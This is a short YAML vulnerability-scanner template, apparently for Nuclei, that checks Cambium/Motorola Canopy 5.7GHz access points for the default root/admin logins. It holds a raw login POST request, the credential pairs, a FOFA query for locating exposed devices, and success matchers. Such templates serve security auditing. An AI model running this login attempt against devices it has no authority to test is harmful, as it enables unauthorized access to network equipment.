id: cambium-networks-default-login

info:
  name: Canopy 5.7GHz Access Point - Default Login
  author: defektive
  severity: high
  description: |
    Cambium Networks / Motorola Canopy 5750AP ADVANTAGE Access Point 5.7GHz login credentials were discovered.
  metadata:
    verified: true
    max-request: 2
    fofa-query: "title=\"Welcome to Canopy\""
  tags: default-login,cambium,canopy

http:
  - raw:
      - |
        POST /login.cgi  HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        &Session=0&CanopyUsername={{username}}&CanopyPassword={{password}}&login=Login&webguisubmit=submit

    attack: pitchfork
    payloads:
      username:
        - root
        - admin
      password:
        - root
        - admin

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Logged in as root"

      - type: status
        status:
          - 200
# digest: 490a0046304402205dd8e43ef82c6015a92e65c0db00e7dd6de98d28901f926827f52917988b5c7a022070530778f2ada9fe1b7fd436a245450cf194656d846a5e1d060308a3dff549c2:922c64590222798bb761d5b6d8e72950